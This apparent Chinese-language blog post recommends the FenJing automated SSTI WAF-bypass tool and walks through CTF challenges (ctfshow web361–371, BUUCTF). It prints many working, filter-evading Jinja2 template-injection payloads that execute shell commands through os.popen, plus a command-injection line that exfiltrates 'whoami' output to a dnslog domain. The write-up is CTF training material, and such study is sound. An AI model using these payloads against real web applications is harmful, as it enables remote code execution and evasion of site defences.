ssti自动化绕WAF工具

CTF SSTI全自动绕WAF工具推荐

链接地址:https://github.com/Marven11/FenJing

  • 集成了大部分CTF中的SSTI WAF绕过技巧
  • 全自动爆破API参数并攻击
  • 全自动分析网站的WAF并生成相应的payload
  • 支持攻击对应的HTML表单或HTTP路径
  • 支持将payload放进GET参数中提交,有效降低payload长度
  • 自动检测关键字替换并绕过

作者推荐安装方式

使用pipx安装运行(推荐)

# 首先使用apt/dnf/pip/...安装pipx
#pip install pipx
# 然后用pipx自动创建独立的虚拟环境并进行安装
pipx install fenjing
fenjing webui
# fenjing scan --url 'http://xxxx:xxx'

使用pip安装运行

pip install fenjing
fenjing webui
# fenjing scan --url 'http://xxxx:xxx'

安装完成之后使用

webui(本人推荐,比较方便)

在终端中输入:
fenjing webui

之后会弹出一个页面,如下

image-20250108104414466

工具使用

image-20250108104728829

注意:该脚本不支持https协议、无回显SSTI

打靶测试

ctfshow

web361 (无过滤)

image-20250108105940479

image-20250108110058040

成功拿到RCE

web362(过滤了2、3等数字,os._wrap_close)

image-20250108113948160

image-20250108114047900

payload:
{{cycler.next.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}

web363(过滤了单引号、双引号)

image-20250108115451156

image-20250108115704374

payload:
{%set os=dict(OS=x)|first|lower%}{%set ls=dict(LS=x)|first|lower%}{{cycler.next.__globals__.__builtins__.__import__(os).popen(ls).read()}}

web364(过滤了单双引号,args)

image-20250108121744582

payload:
{%set os=dict(OS=x)|first|lower%}{%set ak=lipsum()|urlencode|first%}{%set ca=dict(CAT=x)|first|lower+((ak+dict(c=x)|join)*6)%(32,47,102,108,97,103)%}{{cycler.next.__globals__.__builtins__.__import__(os).popen(ca).read()}}

web365(过滤单双引号、args、[])

image-20250108122624212

image-20250108122656442

payload:
{%set os=dict(OS=x)|first|lower%}{%set ir=lipsum()|urlencode|first%}{%set ca=dict(CAT=x)|first|lower+((ir+dict(c=x)|join)*6)%(32,47,102,108,97,103)%}{{cycler.next.__globals__.__builtins__.__import__(os).popen(ca).read()}}

web366(过滤了单双引号、args、中括号[]、下划线)

image-20250108124455990

image-20250108124527844

payload:
{%set yg=lipsum|escape|batch(22)|first|last%}{%set gl=dict(GLOBALS=x)|first|lower%}{%set ge=dict(GETITEM=x)|first|lower%}{%set bu=dict(BUILTINS=x)|first|lower%}{%set im=dict(IMPORT=x)|first|lower%}{%set os=dict(OS=x)|first|lower%}{%set in=lipsum()|urlencode|first%}{%set ca=dict(CAT=x)|first|lower+((in+dict(c=x)|join)*6)%(32,47,102,108,97,103)%}{{(((cycler.next|attr(yg+yg+gl+yg+yg)|attr(yg+yg+ge+yg+yg))(yg+yg+bu+yg+yg)|attr(yg+yg+ge+yg+yg))(yg+yg+im+yg+yg))(os).popen(ca).read()}}

web367(过滤了单双引号、args、中括号[]、下划线、os)

image-20250108123718010

image-20250108123746761

payload:

{%set na=lipsum|escape|batch(22)|first|last%}{%set gl=dict(GLOBALS=x)|first|lower%}{%set ge=dict(GETITEM=x)|first|lower%}{%set bu=dict(BUILTINS=x)|first|lower%}{%set im=dict(IMPORT=x)|first|lower%}{%set qr=dict(so=x)|first|reverse%}{%set hc=lipsum()|urlencode|first%}{%set ca=dict(CAT=x)|first|lower+((hc+dict(c=x)|join)*6)%(32,47,102,108,97,103)%}{{(((cycler.next|attr(na+na+gl+na+na)|attr(na+na+ge+na+na))(na+na+bu+na+na)|attr(na+na+ge+na+na))(na+na+im+na+na))(qr).popen(ca).read()}}

web368(过滤单双引号、args、中括号[]、下划线、os、{{)

image-20250108125236196

image-20250108125304220

payload:
{%set rl=lipsum|escape|batch(22)|first|last%}{%set gl=dict(GLOBALS=x)|first|lower%}{%set ge=dict(GETITEM=x)|first|lower%}{%set bu=dict(BUILTINS=x)|first|lower%}{%set im=dict(IMPORT=x)|first|lower%}{%set gq=dict(so=x)|first|reverse%}{%set te=lipsum()|urlencode|first%}{%set ca=dict(CAT=x)|first|lower+((te+dict(c=x)|join)*6)%(32,47,102,108,97,103)%}{%print (((cycler.next|attr(rl+rl+gl+rl+rl)|attr(rl+rl+ge+rl+rl))(rl+rl+bu+rl+rl)|attr(rl+rl+ge+rl+rl))(rl+rl+im+rl+rl))(gq).popen(ca).read()%}

web369(过滤单双引号、args、中括号[]、下划线、os、{{、request)

image-20250108130446025

image-20250108130509739

payload:
{%set pq=lipsum|escape|batch(22)|first|last%}{%set gl=dict(GLOBALS=x)|first|lower%}{%set ge=dict(GETITEM=x)|first|lower%}{%set bu=dict(BUILTINS=x)|first|lower%}{%set im=dict(IMPORT=x)|first|lower%}{%set xc=dict(so=x)|first|reverse%}{%set qs=lipsum()|urlencode|first%}{%set ca=dict(CAT=x)|first|lower+((qs+dict(c=x)|join)*6)%(32,47,102,108,97,103)%}{%print (((cycler.next|attr(pq+pq+gl+pq+pq)|attr(pq+pq+ge+pq+pq))(pq+pq+bu+pq+pq)|attr(pq+pq+ge+pq+pq))(pq+pq+im+pq+pq))(xc).popen(ca).read()%}

web370(过滤数字)

image-20250108131132447

image-20250108131212017

payload:
{%set gl=dict(GLOBALS=x)|first|lower%}{%set ge=dict(GETITEM=x)|first|lower%}{%set bu=dict(BUILTINS=x)|first|lower%}{%set im=dict(IMPORT=x)|first|lower%}{%set tf=dict(so=x)|first|reverse%}{%set mx=lipsum()|urlencode|first%}{%set eb=namespace|escape|urlencode|escape|urlencode|count%}{%set fe=dict(aaaaa=x)|first|length%}{%set dw=(mx+dict(c=x)|join)%((eb+fe))%}{%set ob={}|int%}{%set lb=ob**ob%}{%set llb=(lb~lb)|int%}{%set lllb=(llb~lb)|int%}{%set llllb=(lllb~lb)|int%}{%set bb=llb-lb-lb-lb-lb-lb%}{%set sbb=lllb-llb-llb-llb-llb-llb%}{%set ssbb=llllb-lllb-lllb-lllb-lllb-lllb%}{%set zzeb=llllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb-lllb%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set ul=joiner|urlencode|wordcount%}{%set qs=dict(a=x,b=x,c=x)|length%}{%set fb=namespace|escape|count%}{%set oa={}|int%}{%set la=oa**oa%}{%set lla=(la~la)|int%}{%set llla=(lla~la)|int%}{%set lllla=(llla~la)|int%}{%set ca=dict(CAT=x)|first|lower+((mx+dict(c=x)|join)*bb)%(lla+lla+ul+qs,fb+la,eb+lla+la,eb+lla+ul,eb+ul,eb+lla+la+la)%}{%print (((cycler.next|attr(dw+dw+gl+dw+dw)|attr(dw+dw+ge+dw+dw))(dw+dw+bu+dw+dw)|attr(dw+dw+ge+dw+dw))(dw+dw+im+dw+dw))(tf).popen(ca).read()%}

web371(无回显)

image-20250108131755482

这里我拿我的服务器做个反弹shell

image-20250108135038990

没能成功反弹出来

换个方式利用dns外带出来

命令
ip=|curl `whoami`.bxfshc.dnslog.cn

image-20250108140859106

dns也带不出来

image-20250108141004978

那cp到当前目录了

image-20250108141034802

访问不出,到这里应该是无回显不出网的题型了,那就试试输出到app.py

也不行,应该是我实力不够,找不到原因啊

BUUCTF

[Flask]SSTI

image-20250108150815381

image-20250108151103835

image-20250108151147011

[第三章 web进阶]SSTI 1

image-20250108151350223

image-20250108151608130

image-20250108151727219

image-20250108151802087

[Dest0g3 520迎新赛]EasySSTI 1

随便输入点什么

image-20250108152302070

发现跳转到这

image-20250108152317856

f12查看

image-20250108152347776

发现两个参数 直接丢到fenjing webui中

image-20250108152402365

image-20250108152745885

image-20250108152931086

posted @ 2025-01-08 15:54  顺问冬安  阅读(1321)  评论(0)    收藏  举报